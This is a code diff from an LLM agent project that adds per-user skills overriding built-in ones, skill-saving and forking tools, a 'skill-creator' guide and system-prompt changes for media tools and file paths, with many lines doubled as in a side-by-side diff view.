d.mkdir(parents=True, exist_ok=True) d.mkdir(parents=True, exist_ok=True)
return d return d
def build_skill_registry(
cfg: dict, workspace_dir: Path, user_id: UUID, *, docker: bool
) -> "SkillRegistry":
"""装两来源 registry:内置 skill(`ROOT/skills`,只读)+ 用户 skill(`user_root/.skills`)。
用户来源排在内置之后 同名时 user wins( core/skills.py)container_root docker
:内置 bind `/sandbox/skills`,用户 `.skills` user_root user_root bind
`/workspace`,故为 `/workspace/.skills`host backend None
"""
from core.skills import SkillSource
builtin = SkillSource(
ROOT / cfg.get("skills_dir", "skills"),
"builtin",
"/sandbox/skills" if docker else None,
)
user = SkillSource(
user_root(workspace_dir, user_id) / ".skills",
"user",
"/workspace/.skills" if docker else None,
)
return SkillRegistry([builtin, user])
class InvalidTaskName(ValueError): class InvalidTaskName(ValueError):
"""task name / working_dir 不合法(空 / 含分隔符 / dotfile 起头 / 超长)。""" """task name / working_dir 不合法(空 / 含分隔符 / dotfile 起头 / 超长)。"""
@ -199,6 +238,7 @@ def _build_system_prompt(
task_id: UUID, task_id: UUID,
task_name: str, task_name: str,
task_skill: str = "", task_skill: str = "",
media_enabled: bool = False,
) -> str: ) -> str:
"""拼 system prompt: 模板 + skill 列表 + memory + 工作目录段 + task 上下文 + 命名约定。 """拼 system prompt: 模板 + skill 列表 + memory + 工作目录段 + task 上下文 + 命名约定。
@ -213,6 +253,8 @@ def _build_system_prompt(
if skills.skills: if skills.skills:
prompt += f"\n\n## 可用 skill (用 load_skill 加载完整指引)\n{skills.discovery_block()}" prompt += f"\n\n## 可用 skill (用 load_skill 加载完整指引)\n{skills.discovery_block()}"
prompt += memory_block(workspace_dir, user_id) prompt += memory_block(workspace_dir, user_id)
if media_enabled:
prompt += "\n\n" + _MEDIA_TOOLS_BLOCK
# docker backend 下 shell/run_python/fs 工具全在容器里跑,容器把 # docker backend 下 shell/run_python/fs 工具全在容器里跑,容器把
# `<workspace>/users/<uid>` bind 到 `/workspace`、`--workdir /workspace/<wd>` # `<workspace>/users/<uid>` bind 到 `/workspace`、`--workdir /workspace/<wd>`
# (executor_docker.py:99-100)。此时 prompt 必须给**容器路径**,否则 LLM # (executor_docker.py:99-100)。此时 prompt 必须给**容器路径**,否则 LLM
@ -260,33 +302,16 @@ def _build_system_prompt(
f"普通产物(sections / slides / 终稿 .docx/.pptx)按 SKILL 文档落路径;" f"普通产物(sections / slides / 终稿 .docx/.pptx)按 SKILL 文档落路径;"
f"「宪法」性文件(spec 等)按下面《task 级「宪法」文件命名约定》拼路径。\n" f"「宪法」性文件(spec 等)按下面《task 级「宪法」文件命名约定》拼路径。\n"
f"⛔ 不要把产物写到 cwd / `skills/` / repo 根 —— 只写到 task_dir。\n" f"⛔ 不要把产物写到 cwd / `skills/` / repo 根 —— 只写到 task_dir。\n"
f"\n**run_python 过程脚本**:非平凡的 Python(>~15 行 / 要迭代调试 / 生成产物)"
f"先用写文件工具落到 `<task_dir>/scripts/`(如 `scripts/analyze.py`,父目录自动建),"
f"再用 `run_python(script_path=\"scripts/analyze.py\")` 执行 —— 源码留在文件里、可重读可改可重跑,"
f"不挤占对话上下文。`scripts/` 只放过程脚本,**交付产物(.docx/.pptx/spec/figures 等)仍落 task_dir 根或 SKILL 指定路径**。"
f"真·一次性短代码(算个数 / 探查一行)才用 `run_python(code=...)` 内联,临时执行不留痕。\n"
f"\n## task 级「宪法」文件命名约定(跨 skill 通用)\n" f"\n## task 级「宪法」文件命名约定(跨 skill 通用)\n"
f"任何 skill 产物中,跟 task 1:1 强绑定、阶段二/后续步骤会**反复 read**" f"跟 task 1:1 绑定、后续步骤会**反复 read** 的「宪法」性文件(如 proposal/ppt 的 "
f"的「宪法」性文件(如 proposal/ppt 的 spec、outline 等),**统一按下面格式命名**," f"spec、outline),统一落 task_dir 根、按此格式命名:\n\n"
f"落在 task_dir 根下:\n\n"
f" <YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md\n\n" f" <YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md\n\n"
f"其中 `<YYYY-MM-DD>` = 本会话 today=`{today}`;" f"用上面注入的值:`<YYYY-MM-DD>`=today=`{today}`、`<task_short_id>`=`{short_id}`"
f"`<task_short_id>` = `{short_id}`(永不变,主锚);" f"(永不变主锚)、`<task_name>`=`{tname}`(原样用 含 CJK/空格);`<base>` 由 skill "
f"`<task_name>` = `{tname}`(可变,人类可读说明,原样用 含 CJK / 空格);" f"定义(如 `spec`)。取 current:按 short_id glob `{wd_path}/*-{short_id}-*.<base>.md`"
f"`<base>` 由 skill 定义(如 proposal/ppt 的 `spec`)。\n\n" f" → 文件名字典序取最大者(= 最新日期,改过 task_name 旧文件仍能定位);重定调时以 "
f"**取 current 版本规则**:read 时 **按 task_short_id 锚定** glob " f"today 为前缀写新版、**旧版留作历史快照不要覆盖**(同日多版加 `-v2`/`-v3`)。"
f"`{wd_path}/*-{short_id}-*.<base>.md` → 按文件名字典序排 → 取最大者" f"取用 / 重定调的具体时机见对应 skill。"
f"(= 最新日期)。这样即使用户改了 task_name,旧文件仍能定位(`<task_name>` "
f"那段视为「建时快照」,不强求同步)。这是「current 指针」的纯文件名实现,"
f"agent 自己拼即可。\n\n"
f"**重定调场景**:用户阶段一已确认过的「宪法」文件,后续要推翻重写时,"
f"以 today=`{today}` 为前缀写一份新的,**旧版自然保留为历史快照**(不要 edit "
f"覆盖旧文件)。同日多次重定调可在文件名末尾加 `-v2` / `-v3` 等递增后缀。\n\n"
f"**隔离逻辑**:同 working_dir 多 task → 由 `<task_short_id>` 严格隔离"
f"(8 位 hex,撞概率近 0);同 task 多版本 → 由 `<YYYY-MM-DD>` 隔离。两层隔离"
f"都靠文件名,**无目录嵌套、无 DB 字段、无 cascade rename**。其余产物"
f"(`sections/` / `figures/` / `slides/` / 终稿 .docx/.pptx 等)按 SKILL "
f"文档保留扁平共享,LLM 自行通过 task_short_id / 命名前缀判断归属。"
) )
return prompt return prompt
@ -368,7 +393,12 @@ def build_agent(
tool_base = Path(tool_base) if tool_base else Path.cwd() tool_base = Path(tool_base) if tool_base else Path.cwd()
skills = SkillRegistry(ROOT / cfg.get("skills_dir", "skills")) is_docker = os.getenv("ZCBOT_SANDBOX_BACKEND", "host").lower() == "docker"
skills = build_skill_registry(cfg, workspace_dir, uid, docker=is_docker)
# 媒体配置提前 load 一次:既决定 system prompt 要不要追加媒体段(media_enabled),
# 也复用给下方 seedream/seedance 注册(避免重复读 doubao.yaml)。无 ARK_API_KEY → None。
ark_cfg = ArkConfig.load()
now_iso = datetime.now().isoformat(timespec="seconds") now_iso = datetime.now().isoformat(timespec="seconds")
# meta["working_dir"] 是 db 形态(相对 ROOT 或绝对);Session.append → ensure_local_task_row # meta["working_dir"] 是 db 形态(相对 ROOT 或绝对);Session.append → ensure_local_task_row
@ -402,6 +432,7 @@ def build_agent(
system_prompt = _build_system_prompt( system_prompt = _build_system_prompt(
cfg, skills, workspace_dir, tool_base, working_dir_path, uid, cfg, skills, workspace_dir, tool_base, working_dir_path, uid,
task_id, task_state.name, task_state.skill, task_id, task_state.name, task_state.skill,
media_enabled=ark_cfg is not None,
) )
meta = { meta = {
@ -438,8 +469,6 @@ def build_agent(
wf = WebFetchTool(base_dir=tool_base, user_root=ur_path) wf = WebFetchTool(base_dir=tool_base, user_root=ur_path)
tools[wf.name] = wf tools[wf.name] = wf
import os
# Secret-bearing domain tools stay host-side. Never expose DOCUMENT_SEARCH_API_KEY # Secret-bearing domain tools stay host-side. Never expose DOCUMENT_SEARCH_API_KEY
# / MP_API_KEY to run_python or the sandbox; only register typed tools when the # / MP_API_KEY to run_python or the sandbox; only register typed tools when the
# corresponding host env exists. # corresponding host env exists.
@ -472,22 +501,20 @@ def build_agent(
tools[t.name] = t tools[t.name] = t
if skills.skills: if skills.skills:
# docker backend 下 fs/shell/run_python 在容器内跑,skills/ bind mount 到 # LoadSkillTool 返回头里的 dir 由 registry 按 skill.source 给容器内路径
# /sandbox/skills:ro。把 LoadSkillTool 返回头里的 dir 改写成容器路径,LLM # (内置 → /sandbox/skills,用户 → /workspace/.skills);host backend → host 绝对路径。
# 拿来 read references 才能命中。host backend = None,保持原 host 绝对路径。 ls = LoadSkillTool(registry=skills, base_dir=tool_base, user_root=ur_path)
container_skills_dir = (
"/sandbox/skills"
if os.getenv("ZCBOT_SANDBOX_BACKEND", "host").lower() == "docker"
else None
)
ls = LoadSkillTool(
registry=skills,
base_dir=tool_base,
user_root=ur_path,
container_skills_dir=container_skills_dir,
)
tools[ls.name] = ls tools[ls.name] = ls
# 用户 skill 创作工具:恒挂(每个用户都能造自己的 skill)。host-side 直接写
# user_root/.skills —— 不走沙箱 fs(其 base_dir 锚 cwd / 容器 wd,够不到 .skills)。
user_skills_dir = ur_path / ".skills"
for t in (
SaveSkillTool(user_skills_dir, skills, base_dir=tool_base, user_root=ur_path),
ForkSkillTool(user_skills_dir, skills, base_dir=tool_base, user_root=ur_path),
):
tools[t.name] = t
if caps.enable_run_python: if caps.enable_run_python:
rp = RunPythonTool(base_dir=tool_base, user_root=ur_path) rp = RunPythonTool(base_dir=tool_base, user_root=ur_path)
tools[rp.name] = rp tools[rp.name] = rp
@ -503,7 +530,7 @@ def build_agent(
# image_variant 由 caller 传(web 入口随消息 POST 带);空 → 取 yaml 第一个 variant # image_variant 由 caller 传(web 入口随消息 POST 带);空 → 取 yaml 第一个 variant
# (fallback,沿用原行为)。本次 run 装的 SeedreamTool 锁定该 variant,本 run 内的 # (fallback,沿用原行为)。本次 run 装的 SeedreamTool 锁定该 variant,本 run 内的
# 多次 tool call 全用同一个;下一条消息可以重选。 # 多次 tool call 全用同一个;下一条消息可以重选。
ark_cfg = ArkConfig.load() # ark_cfg 已在函数上半部 load 过(复用,顺带决定 system prompt 的 media 段)。
if ark_cfg is not None: if ark_cfg is not None:
image_cfg = (ark_cfg.raw.get("image") or {}) image_cfg = (ark_cfg.raw.get("image") or {})
chosen_key, chosen_cfg = "", None chosen_key, chosen_cfg = "", None

View File

@ -1,15 +1,19 @@
"""Skill 注册表 (Anthropic 标准格式)。 """Skill 注册表 (Anthropic 标准格式)。
每个 skill skills/<name>/ 目录,内含 SKILL.md( frontmatter)+ 可选的 每个 skill <root>/<name>/ 目录,内含 SKILL.md( frontmatter)+ 可选的
references/scripts/assets/启动时只读 frontmatter discovery,完整 SKILL.md references/scripts/assets/启动时只读 frontmatter discovery,完整 SKILL.md
references agent 按需加载(渐进披露) references agent 按需加载(渐进披露)
多来源:内置 skill(`ROOT/skills`,只读)+ 用户 skill(`user_root/.skills`,可写)
来源按顺序扫,**后扫的同名覆盖先扫的** 用户 skill 排在内置之后,"用户覆盖
内置"(user wins);覆盖关系记进 `user_overrides` 供 discovery 显式标注,不静默。
""" """
from __future__ import annotations from __future__ import annotations
import re import re
from dataclasses import dataclass from dataclasses import dataclass
from pathlib import Path from pathlib import Path
from typing import Dict, Optional, Tuple from typing import Dict, List, Optional, Tuple, Union
import yaml import yaml
@ -18,7 +22,11 @@ _FRONTMATTER_RE = re.compile(r"^---\n(.*?)\n---\n?", re.DOTALL)
def parse_frontmatter(text: str) -> Tuple[dict, str]: def parse_frontmatter(text: str) -> Tuple[dict, str]:
"""解析 markdown 顶部的 YAML frontmatter。返回 (meta, body)。""" """解析 markdown 顶部的 YAML frontmatter。返回 (meta, body)。
frontmatter YAML 非法时抛 `yaml.YAMLError`( `SkillRegistry._scan` 捕获记进
load_errors 用户手写 skill 易踩,不能让一个坏 skill 崩掉整次扫描)
"""
m = _FRONTMATTER_RE.match(text) m = _FRONTMATTER_RE.match(text)
if not m: if not m:
return {}, text return {}, text
@ -28,11 +36,20 @@ def parse_frontmatter(text: str) -> Tuple[dict, str]:
return meta, text[m.end():] return meta, text[m.end():]
class SkillLoadError(Exception):
"""skill 目录有 SKILL.md 但加载失败(YAML 坏 / 缺 description 等)。
"没有 SKILL.md(根本不是 skill 目录,静默跳过)"区分:前者要面向用户报,
后者是正常的非 skill 子目录
"""
@dataclass @dataclass
class Skill: class Skill:
name: str name: str
description: str description: str
skill_dir: Path skill_dir: Path
source: str = "builtin" # 'builtin' | 'user'
@property @property
def skill_md(self) -> Path: def skill_md(self) -> Path:
@ -42,40 +59,110 @@ class Skill:
return self.skill_md.read_text(encoding="utf-8") return self.skill_md.read_text(encoding="utf-8")
@classmethod @classmethod
def from_dir(cls, skill_dir: Path) -> Optional["Skill"]: def from_dir(cls, skill_dir: Path, source: str = "builtin") -> Optional["Skill"]:
"""加载一个 skill 目录。
SKILL.md 返回 None(静默跳过,不是 skill 目录);
SKILL.md 但格式错(YAML / description) SkillLoadError
"""
md = skill_dir / "SKILL.md" md = skill_dir / "SKILL.md"
if not md.exists(): if not md.exists():
return None return None # 不是 skill 目录,静默跳过
meta, _ = parse_frontmatter(md.read_text(encoding="utf-8")) try:
text = md.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError) as e:
raise SkillLoadError(f"读不出 SKILL.md: {e}")
try:
meta, _ = parse_frontmatter(text)
except yaml.YAMLError as e:
raise SkillLoadError(f"frontmatter YAML 非法: {e}")
name = meta.get("name") or skill_dir.name name = meta.get("name") or skill_dir.name
desc = meta.get("description") or "" desc = meta.get("description") or ""
if not desc: if not desc:
return None # description 是 discovery 的关键,缺了不收 raise SkillLoadError("缺 description(frontmatter 必须有 name + description)")
return cls(name=name, description=desc, skill_dir=skill_dir) return cls(name=name, description=desc, skill_dir=skill_dir, source=source)
@dataclass
class SkillSource:
"""一个 skill 搜索来源。
container_root: docker backend 下该来源在容器内的挂载前缀
(内置 `/sandbox/skills`,用户 `/workspace/.skills`);None = host backend,
LoadSkillTool 退回 host 绝对路径
"""
root: Path
source: str = "builtin"
container_root: Optional[str] = None
SourcesArg = Union[Path, str, SkillSource, List[SkillSource]]
class SkillRegistry: class SkillRegistry:
def __init__(self, skills_dir: Path) -> None: def __init__(self, sources: SourcesArg) -> None:
self.skills_dir = Path(skills_dir) # 单个 Path/str → 包成单一 builtin 来源(向后兼容直接传目录的调用 / 测试)
if isinstance(sources, (str, Path)):
sources = [SkillSource(Path(sources), "builtin")]
elif isinstance(sources, SkillSource):
sources = [sources]
self.sources: List[SkillSource] = list(sources)
self.skills: Dict[str, Skill] = {} self.skills: Dict[str, Skill] = {}
# 用户 skill 覆盖了内置 skill 的 name 集合 —— discovery 显式标注,覆盖不静默
self.user_overrides: set[str] = set()
# 加载失败的用户 skill:(目录名, 原因)。内置 skill 失败是 dev bug,不进此列
# (不面向终端用户报),由测试 / 启动日志兜底
self.load_errors: List[Tuple[str, str]] = []
self._container_roots: Dict[str, Optional[str]] = {}
self._scan() self._scan()
def _scan(self) -> None: def _scan(self) -> None:
if not self.skills_dir.exists(): for src in self.sources:
return self._container_roots[src.source] = src.container_root
for child in sorted(self.skills_dir.iterdir()): if not src.root.exists():
continue # 用户没有 .skills 目录 → 一次 exists() 跳过,零成本
for child in sorted(src.root.iterdir()):
if not child.is_dir(): if not child.is_dir():
continue continue
skill = Skill.from_dir(child) try:
if skill is not None: skill = Skill.from_dir(child, source=src.source)
self.skills[skill.name] = skill except SkillLoadError as e:
if src.source == "user":
self.load_errors.append((child.name, str(e)))
continue
if skill is None:
continue
prev = self.skills.get(skill.name)
if prev is not None and prev.source != skill.source and skill.source == "user":
self.user_overrides.add(skill.name) # 用户覆盖了内置
self.skills[skill.name] = skill # 后扫覆盖先扫 → user wins
def discovery_block(self) -> str: def discovery_block(self) -> str:
"""启动时注入 system prompt 的 skill 列表(name + description)。""" """注入 system prompt 的 skill 列表(name + description + 来源标注)。"""
if not self.skills: if not self.skills and not self.load_errors:
return "" return ""
lines = [f"- **{s.name}**: {s.description}" for s in self.skills.values()] lines = []
return "\n".join(lines) for s in self.skills.values():
if s.source == "user":
tag = " [你的·已覆盖内置]" if s.name in self.user_overrides else " [你的]"
else:
tag = ""
lines.append(f"- **{s.name}**{tag}: {s.description}")
block = "\n".join(lines)
if self.load_errors:
errs = "; ".join(f"`{n}`({why})" for n, why in self.load_errors)
block += (
"\n\n> ⚠️ 你有用户 skill 因格式问题未加载,需要时提醒用户修好 frontmatter"
f"(修好后下条消息生效):{errs}"
)
return block
def container_dir(self, skill: Skill) -> Optional[str]:
"""docker 下该 skill 在容器内的目录;host backend → None(调用方退回 host 绝对路径)。"""
root = self._container_roots.get(skill.source)
if not root:
return None
return f"{root.rstrip('/')}/{skill.name}"
def get(self, name: str) -> Optional[Skill]: def get(self, name: str) -> Optional[Skill]:
return self.skills.get(name) return self.skills.get(name)

View File

@ -4,7 +4,7 @@
- `read` / `write` / `edit` —— 文件操作 - `read` / `write` / `edit` —— 文件操作
- `glob` / `grep` —— 文件搜索 - `glob` / `grep` —— 文件搜索
- `shell` —— 执行命令(默认 60s 超时) - `shell` —— 执行命令(默认 60s 超时)
- `run_python` —— 在子进程里跑 Python (数据处理、生成 .pptx/.docx、画图等)。非短小一次性代码时,先用 `write``.py` 文件写到 task_dir,再用 `run_python(script_path="...")` 执行;避免大段源码进入对话历史 - `run_python` —— 在子进程里跑 Python (数据处理、生成 .pptx/.docx、画图等)。非短小一次性代码时,先用 `write``.py` 落到 `<task_dir>/scripts/`(如 `scripts/analyze.py`),再 `run_python(script_path="scripts/analyze.py")` 执行 —— 源码留文件里可重读可改可重跑,不挤占对话历史;`scripts/` 只放过程脚本,交付产物仍落 task_dir 根或 SKILL 指定路径。真·一次性短代码(算个数/探查一行)才用 `run_python(code=...)` 内联
- `load_skill` —— 加载某个 skill 的完整指引 - `load_skill` —— 加载某个 skill 的完整指引
- `task_progress` —— 给 Web 前端发布/更新用户可见的进度步骤列表。只在多步骤任务使用;开始时设 3-7 个关键步骤,每完成或进入一个关键步骤时更新一次。 - `task_progress` —— 给 Web 前端发布/更新用户可见的进度步骤列表。只在多步骤任务使用;开始时设 3-7 个关键步骤,每完成或进入一个关键步骤时更新一次。
@ -15,14 +15,6 @@
- 任务全部做完时,把最后一步标成 `completed`(让用户在顶部进度面板看到"全绿"收尾),**不要用 `clear`**;`clear` 只在计划被推翻、不再相关时才用。 - 任务全部做完时,把最后一步标成 `completed`(让用户在顶部进度面板看到"全绿"收尾),**不要用 `clear`**;`clear` 只在计划被推翻、不再相关时才用。
- 简单问答、单次文件读取、很小的改动不需要调用 `task_progress` - 简单问答、单次文件读取、很小的改动不需要调用 `task_progress`
## 媒体生成工具(按需可用,未配置 ARK_API_KEY 时该工具不会出现)
- `seedream` —— 豆包图像生成。产物自动落 `<task_dir>/figures/`。每次 **¥0.22**(联网 `search=true` 加 ¥0.05)。
- **调用前必须先 `load_skill('imagegen')`** —— skill 里有「何时该用 / 该不该用 mermaid 替代 / 用户描述模糊度诊断 / 一次性追问范式 / prompt 装配 / 失败解药」全套引导。**不要拿用户原话直接当 prompt 调 tool** —— 容易烧 ¥0.22 在错的方向上。
- 兜底硬约束(即使没 load skill 也守):用户没主动要图就别装饰性生成;同一目的不满意**不要连发**,先口头校准 prompt 再调。
- `seedance` —— 豆包视频生成(Seedance 2.0 Fast)。异步任务,**等 30-90s 出片**;产物自动落 `<task_dir>/videos/`。每次 **¥1.86 起**(480p 4s)~ **¥12+**(720p 15s),比图贵 10 倍以上。触发词:视频 / 动画 / 动起来 / 做个 video / 镜头 / 短片 / 演示视频 / 动效。
- **调用前必须先 `load_skill('videogen')`** —— skill 里有「6 维诊断(含运动维必填)/ seedream/mermaid 反向选型 / prompt 装配 / 参数取舍(时长/分辨率/比例直接决定钱)/ 失败解药」全套引导。视频比图贵 10 倍且 90s 等待,绝对不要拿用户原话当 prompt 直接调。
- 兜底硬约束:用户没主动要视频就别装饰性生成(比生图更严重的红线);同一目的不满意**绝不连发**(1 次错 = ¥4+60s,连发 2 次 = ¥8+2min);phase 1 仅文生视频,**不支持** image-to-video / video-to-video。
## Skill 机制 ## Skill 机制
你启动时只看到下方 skill 的"名字 + 描述"。Skill 是**可选辅助** —— 任务明确落在 你启动时只看到下方 skill 的"名字 + 描述"。Skill 是**可选辅助** —— 任务明确落在
某个 skill 领域(用户要做 PPT、写申报书等)时,先 `load_skill(name)` 拿完整指引 某个 skill 领域(用户要做 PPT、写申报书等)时,先 `load_skill(name)` 拿完整指引
@ -43,13 +35,9 @@
- 少来回:多个**互相独立、不依赖中间结果**的操作(建多页产物、批量改文件、生成整份 deck/文档)合到一个脚本或一轮(并发多 tool call)里做,别一步一个 tool call —— 每轮来回都重发整段上下文,轮数是 token 体量的线性乘数;但**下一步输入要看上一步结果**时(探索性检索、按报错改、需用户确认方向)就老实分步,别硬批 - 少来回:多个**互相独立、不依赖中间结果**的操作(建多页产物、批量改文件、生成整份 deck/文档)合到一个脚本或一轮(并发多 tool call)里做,别一步一个 tool call —— 每轮来回都重发整段上下文,轮数是 token 体量的线性乘数;但**下一步输入要看上一步结果**时(探索性检索、按报错改、需用户确认方向)就老实分步,别硬批
## 路径 ## 路径
默认工作目录在系统消息末尾,所有相对路径基于该目录 默认工作目录见系统消息末尾,相对路径都基于它
**对外 echo 产物文件路径(回复用户、汇报产物)时**:用 user_root 相对的**全形式** `<wd_name>/<rel>` —— `<wd_name>` 就是上方 task_dir 字段的最后一段(如 task_dir = `D:\...\users\<uuid>\生图测试``<wd_name>` = `生图测试`)。例:`生图测试/videos/xxx.mp4`、`生图测试/figures/cover.png`、`基金申报/sections/01-绪论.md`、`公司汇报/slides/deck.pptx`。**不要简写**为 `videos/xxx.mp4` / `figures/cover.png` / `slides/deck.pptx` 这种只在 task 内成立的裸形式。 **对外 echo 产物路径(回复 / 汇报用)一律用全形式 `<wd_name>/<rel>`** —— `<wd_name>` = 上方 task_dir 末段(如末段是 `生图测试``生图测试/figures/cover.png`、`基金申报/sections/01-绪论.md`)。**别简写**成 `figures/cover.png` 这种 task 内裸形式:Web UI 靠 `<wd_name>/` 前缀挂可点 chip(预览 / 下载),简写会失效。媒体 tool 的 `saved:` 行已是规范全形式,原样照抄即可。
媒体 tool(`seedream` / `seedance`)输出的 `saved:` 那行**已经是规范全形式**,原样照抄就行(免去自己拼前缀);其他场景(ppt / proposal / coding 等 `run_python` / `write` / `shell` 写完文件后)自己按 `<wd_name>/<rel>` 拼。
**为什么硬性约束**:Web UI 按 `<wd_name>/...` 前缀识别产物路径挂可点 chip(预览 / 下载);简写形式 chip 失效,用户没法直接点开。跨所有产物 skill 统一生效。
## 平台 ## 平台
当前是 Windows + cmd.exe。**避免用 unix-only flag**: 当前是 Windows + cmd.exe。**避免用 unix-only flag**:

View File

@ -0,0 +1,108 @@
---
name: skill-creator
description: 引导用户创建 / 改造自己的 skill(存进用户私有 `.skills/`,只对自己生效)。当用户说"我想做个自己的 skill / 把某个能力固化下来 / 把 zcbot 的某 skill 改成我要的样子 / 每次都要重复交代同一套规矩"时使用。本 skill 教怎么写 SKILL.md、怎么 fork 内置 skill 再改、怎么写好路由用的 description。用户只是要完成一个具体任务(写本子 / 画图 / 查文献)时不用 —— 那直接走对应 skill。
---
# Skill Creator - 造你自己的 skill
帮用户把"反复要交代的一套做法"沉淀成一个**私有 skill**,存在他自己的 `.skills/` 下,只对他生效,不影响别人也不动内置 skill。
两种来源:
- **从零写**:全新能力,用 `save_skill` 写一份 SKILL.md。
- **fork 内置再改**(最常见):看中某个内置 skill(如 ppt / proposal)但想调规矩,用 `fork_skill` 整目录拷过来(**带它的脚本**),再编辑 SKILL.md。
## 何时用
- 用户说"我想要个自己的 skill / 自定义 skill / 把这套流程固定下来"
- 用户说"zcbot 的 X skill 挺好但我想改成 Y" → fork 再改
- 用户每次任务都要重复交代同一套约束(术语表 / 模板 / 禁忌) → 建议固化成 skill
- 用户问"skill 怎么写 / SKILL.md 什么格式"
## 何时不用
- 用户只是要完成一个具体任务 → 走对应内置 skill,别绕到造 skill
- 用户要改的是**全局行为**(所有任务都该这样) → 那是 system prompt / 偏好,不是 skill
- 一次性的事 → 直接做,不值得固化
## 关键机制(先讲清楚再动手)
**存哪**:用户 skill 在私有 `.skills/<name>/SKILL.md`(与 `.memory/` 同级,文件面板里隐藏)。**你不用、也不该用 write/shell 去手写这个目录** —— 沙箱 fs 的根不指向那里,跨 host/docker 不可靠。一律用下面两个工具,它们 host 侧直接落到正确位置。
**两个工具**:
- `save_skill(name, content)` — 新建 / 覆盖 `.skills/<name>/SKILL.md`。`content` 是完整 SKILL.md(含 frontmatter)。写时校验 frontmatter 合法且有 description,不合格直接拒。
- `fork_skill(src, new_name)` — 把内置(或用户已有)skill **整目录**拷到 `.skills/<new_name>/`,脚本 / references 一起带过来,frontmatter 的 name 自动改成 `new_name`
**生效时机**:造好 / 改好后,**下一条消息**才生效(registry 每轮重建)。告诉用户造完这条结束,下次发消息就能用了。
**覆盖语义(user wins)**:用户 skill 与内置**同名 → 覆盖内置**(只对该用户)。想替换内置就用同名,想**两个都留**就改名(如 `ppt-mine`)。覆盖会在 skill 列表里显式标 `[你的·已覆盖内置]`,不静默。
## 工作流
### 1. 先问清楚要造什么(BLOCKING)
- 是**从零**还是**基于某内置 skill 改**?基于改 → 是哪个、想改什么?
- 这个 skill 解决什么任务?**什么时候该触发、什么时候不该**?(这决定 description,见下)
- 要不要带脚本 / 模板?
### 2a. fork 路径(基于内置改)
1. `fork_skill(src=<内置名>, new_name=<用户起的名>)` —— 默认建议改名(如 `ppt``ppt-mine`),除非用户明确要覆盖内置。
2. fork 回包会给出 `.skills/<new_name>/` 路径。用 `read` 看 SKILL.md,用 `edit` 改用户想改的部分(规矩 / 模板 / 默认值)。
3. 改完告诉用户:下条消息起,`<new_name>` 就在 skill 列表里了。
### 2b. 从零路径
1. 跟用户敲定 name + description + 正文骨架。
2. `save_skill(name, content)`,`content` 是完整 SKILL.md。
3. 若校验报错(缺 description / YAML 坏),按提示修了重存。
### 3. 写好 description —— 这是最关键的一环
description 是**唯一进每轮 skill 列表、决定路由**的字段。写糊了的代价不是"skill 不好用",而是**误触发 + 稀释列表**。规则:
- 一句话讲清**做什么** + **何时用** + **何时别用**
- 给**触发词**(用户会怎么开口),必要时给**反例**(像不该触发的近义场景)
- 别写成功能罗列,要写成"路由信号"
照抄内置的结构,比如:
> `description: 生成 PowerPoint(.pptx)。✅ 触发:PPT / 幻灯片 / slide / deck / .pptx。⛔ 不触发:报告 / 文档 / 纪要(走 documents/proposal)。...`
### 4. SKILL.md 正文骨架(从零时给用户的模板)
```markdown
---
name: <小写[a-z0-9_-]64>
description: <路由说明:做什么 + 何时用 + 何时别用 + 触发词>
---
# <标题>
<一句话定位:这个 skill 帮用户做什么>
## 何时用 / 何时不用
- ...
## 工作流
1. ...
## 反模式
- ...
```
正文要不要分阶段 / 卡 BLOCKING / 带 quality_check,看任务复杂度 —— 简单 skill 几行就够,别硬套。带脚本的:脚本放 `.skills/<name>/scripts/`,SKILL.md 里用 `<skill_dir>/scripts/xxx.py` 引(`<skill_dir>` 是 `load_skill` 返回头给的路径,host/docker 都对)。
## 反模式
- 用 `write` / `shell` 手动往 `.skills` 写 —— 用 `save_skill` / `fork_skill`(沙箱 fs 根够不到 `.skills`,会写错地方)
- fork 带脚本的内置 skill(ppt/proposal)却只 `save_skill` 拷了 SKILL.md —— 脚本没带过来,`import` 必崩;带脚本一律 `fork_skill`
- description 写成"很厉害的 PPT skill" —— 没有触发信号,路由抓瞎
- 默认就覆盖同名内置 —— 除非用户明说要替换,否则改名并存,别悄悄遮掉内置
- 造完不告诉用户"下条消息才生效",用户当场没看到以为失败
- 把"所有任务都该遵守的全局规矩"做成 skill —— 那该进偏好 / system prompt
## 输出
完成后给用户:
- skill 名 + 路径(`.skills/<name>/`)
- 是覆盖内置还是新增 / 并存
- 一句话:下条消息发什么就能触发它(或让 LLM 自动按 description 路由)

View File

@ -1,8 +1,9 @@
"""LoadSkillTool 路径改写测试。 """LoadSkillTool 路径改写测试。
docker backend fs/shell/run_python 在容器里跑,skills/ bind mount docker backend fs/shell/run_python 在容器里跑,skill 目录按来源 bind 到不同挂载点
`/sandbox/skills:ro`LoadSkillTool 返回头里的 `dir` 必须是容器路径而不是 host (内置 `/sandbox/skills:ro`,用户 `/workspace/.skills`)LoadSkillTool 返回头里的
绝对路径,否则 LLM host 路径调 read references 时容器 namespace 不通 `dir` 必须是容器路径而不是 host 绝对路径,否则 LLM host 路径调 read references
容器 namespace 不通容器路径由 `SkillSource.container_root` `skill.source` 决定
""" """
from __future__ import annotations from __future__ import annotations
@ -10,7 +11,7 @@ import tempfile
import unittest import unittest
from pathlib import Path from pathlib import Path
from core.skills import SkillRegistry from core.skills import SkillRegistry, SkillSource
from tools.skill_tool import LoadSkillTool from tools.skill_tool import LoadSkillTool
@ -24,45 +25,45 @@ class TestLoadSkillToolPathRewrite(unittest.TestCase):
"---\nname: demo\ndescription: 测试用\n---\n\n# Demo body\n", "---\nname: demo\ndescription: 测试用\n---\n\n# Demo body\n",
encoding="utf-8", encoding="utf-8",
) )
self.registry = SkillRegistry(self.skills_dir)
def tearDown(self): def tearDown(self):
self.tmpdir.cleanup() self.tmpdir.cleanup()
def test_host_backend_returns_host_path(self): def test_host_backend_returns_host_path(self):
"""没传 container_skills_dir → header 用 host 绝对路径(原行为)。""" """container_root=None → header 用 host 绝对路径(原行为)。"""
tool = LoadSkillTool(registry=self.registry) registry = SkillRegistry(self.skills_dir) # 单 Path → builtin, container_root=None
tool = LoadSkillTool(registry=registry)
out = tool.execute(name="demo") out = tool.execute(name="demo")
host_path = str((self.skills_dir / "demo")) host_path = str((self.skills_dir / "demo"))
self.assertIn(f"dir={host_path}", out) self.assertIn(f"dir={host_path}", out)
self.assertIn("# Demo body", out) self.assertIn("# Demo body", out)
def test_docker_backend_rewrites_to_sandbox_path(self): def test_docker_backend_rewrites_to_sandbox_path(self):
